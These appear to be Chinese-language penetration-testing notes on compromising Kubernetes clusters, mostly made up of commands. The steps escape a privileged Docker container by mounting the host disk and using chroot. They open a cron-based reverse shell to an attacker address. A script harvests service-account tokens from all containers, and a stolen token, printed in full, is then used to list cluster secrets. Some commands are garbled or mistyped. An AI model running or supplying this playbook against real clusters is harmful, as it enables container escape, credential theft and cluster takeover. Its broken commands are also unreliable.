文章目录
-
- 思路
- 知识补充
- 横向移动
-
- 逃逸
- **开启特权模式在容器内挂载宿主机的根文件系统**
- 票据越权
- [情景一 子节点docker进入容器 或get doker shell 目录为可以挂载或者已经挂载 宿主机目录(特权模式)](#情景一 子节点docker进入容器 或get doker shell 目录为可以挂载或者已经挂载 宿主机目录(特权模式))
-
- 查看是否处于容器内部
- 查看是否为特权模式
- /\*挂载\*/
- 获取宿主机文件共享shell
- 横向移动
-
- [在docker宿主机中查看 k8s权限](#在docker宿主机中查看 k8s权限)
- 获取子节点容器中的token
- 测试token
思路
拿到容器shell 进行docker逃逸横向移动拿到privileged 提权到子节点再去搞k8s集权里的pod 找高权限token
知识补充
kubectl 权限限制是很安全的 主节点master节点可以执行kubectl 但子节点不可以
子节点可以控制docker
dockerenv 文件为docker环境
在域渗透中利用hash进行不断的hash传递一直找到一个更高权限的hash
在k8s中利用token横向移动直到找到一个有高权限服务账户的token
横向移动
Docker逃逸
docker和容器本身是很安全的包括k8s如果开启了privilege模式或者部署的是很老的操作系统,因为容器会内部共享一些东西,挂载目录时是使用的高权限目录也会导致docker逃逸,脏牛提权
根据逃逸或者横向 直到某个子节点
子节点
直接在服务器上面抓去信息,然后越权,看本地能够访问到哪些pod,或者从docker容器中去访问,能够访问到的内部正在运行的容器,因为可以命令执行,看有没有高权限的token
通过kubectl 查看能执行什么命令 进去后将容器内部的token 拿出来
在k8s中 容器或者pod内部可以存放高权限用户的服务账户
找高权限token
未授权访问的k8s
api server 未授权可以接管集群
逃逸
前提条件需要特权模式 privilege模式
pod文件配置如下

将宿主机的目录全部挂载到容器的目录下,容器可以操作宿主机的目录导致越权
遇到这种情况直接挂载系统盘
开启特权模式在容器内挂载宿主机的根文件系统
在上述命令启动的容器中,运行以下命令来挂载宿主机的根文件系统
bash
mkdir /priv
mount -t ext4 /dev/vda0 /priv
将宿主机的目录映射到容器目录下
查看宿主机文件
bash
kubectl exec 容器名 --ls -alt /priv/root
查看宿主机的文件内容
bash
kubectl exec 容器名 -- cat /priv/root/.bash_history
查看该容器在哪个子节点
kubectl get pods -o wide

票据越权
在每个子节点用户在他root根目录中都有一个票据
基于票据越权
查看是否为子节点
docker ps | grep apiserver

基于节点校验权限
cat /etc/kubernetes/kubelet.conf
查看user关键字 如果是default-auth就是普通权限
如果是system-node就是集群高权限
master节点


node子节点

基于服务账户鉴权
基于RBAC去分配服务权限

情景一 子节点docker进入容器 或get doker shell 目录为可以挂载或者已经挂载 宿主机目录(特权模式)
查看是否处于容器内部
1.命令残缺
2.拥有.dockerevn
查看是否为特权模式
bash
cat /proc/self/status | grap -qi '0000003fffffffff' && echo 'Is privileged mode' || echo 'Not privileged mode'
查看/proc/self/status文件中是否有0000003fffffffff 如果有为特权模式
/*挂载*/
mkdir /priv
df -h
mount -t ext4 /dev/vda0 /priv
df -h 查看所有盘符挂载最大的一半就是主分区

docker环境中 查看挂载的目录
bash
ls /priv

可以访问宿主机目录时使用chroot命令更改docker的工作目录
bash
chroot /priv /bin/bash
或
chroot /priv sh
获取宿主机文件共享shell
- 用户添加用户
- /var/spool/cron/crontabs 计划任务反弹shell
*/1 * * * * sh -i >& /dev/tcp/ip/port >&
横向移动
在docker宿主机中查看 k8s权限
bash
cat /kubelet.conf/.kube/config
或者
cat /etc/kubernetes/kubelet.conf
#子节点执行

将该文件复制到当前目录方便操作
bash
cp /etc/kubernetes/kubelet.conf ./
检测自身权限
bash
kubectl --kubeconfig kubelet.conf get pods #查看该权限可以运行的命名空间
kubectl --kubeconfig kubelet.conf get pods --all-namespaces # 查看master节点的命名空间
kubectl get secrets --all-namespaces
netstat -antp | grep apis


获取子节点容器中的token
进入容器
bash
kubectl exec pod -- cmd
或
docker exec -it 容器名
token存放位置
cat /var/run/secrets/kubernetes.io/serviceaccount/token

脚本
sh
#!/bin/bash
# 提取所有容器ID
docker ps -q | while read -r container_id; do
echo "===容器ID:$container_id ==="
token=$(docker exec "$container_id" cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
if [ $? -eq 0 ]; then
echo "Token 内容:"
echo "$token"
else
echo "错误: 无法获取Token 或 文件不存在"
fi
echo -e "\n==========================================="
done
测试token
查询master节点的serverapi接口
netstat -antp | grep 6443
通过token进行测试权限
bash
kubectl --insecure-skip-tls-verify=true --server="https://ip:6443/" --
token="获取的token" get secrets --all-namespaces
列
bash
kubectl --insecure-skip-tls-verify=true --server="https://192.168.80.135:6443/" --
token="eyJhbGciOiJSUzI1NiIsImtpZCI6Ikx1Q3FMS1J2bXcwRlA0RGg3Z1NVMDhhOFc0Ri1WWFI5S2F
JbF9kRExTMzQifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby
9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNj
b3VudC9zZWNyZXQubmFtZSI6ImhpZ2gtcHJpdmlsZWdlLXNhLXRva2VuLTd2NnZnIiwia3ViZXJuZXRlcy
5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImhpZ2gtcHJpdmlsZWdlLXNhIiwi
a3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiZWViYzU2NWEtN2
Q0Ni00MDI5LTkxNDEtYjBiNDkwMDcyNWNlIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1
bHQ6aGlnaC1wcml2aWxlZ2Utc2EifQ.p2MDu_0kyAvreU_doDGpAamwkw1_utE-HSbFpVdlCIbo-
1gDdjTt7iVIGtfN5N4SYZ27UEy9CjQhEz7t_q61XUY23R1D4nehfOYvAcjDXNUhuPRoadDY9R1CwdbDZYs
ZuKSu46x88mWAtM5kHnYFVZz_tvVPUlZ-FCETlcn0NG8sBDPVjnJVxto3UxwaoMPW9mQUnAma7Zq7MhTDbD20EzfJ2HeZWeWe-
5j3ToGpfovSDmtdd4mp96qUAayGWVCxrHJKLrkg2edyAo2lP53kcU8UTOMeKR57UXMfy8RTix9kWvWd8Qr
OrTPBjTaU1qOlvyaJgLMnhI7K4jIgc0cXQ" get secrets --all-namespaces
默认kubectl子节点权限
bash
kubectl --kubeconfig ./kubelet.conf get secert --all-namespaces
kubectl --kubeconfig ./kubelet.conf get pods --all-namespaces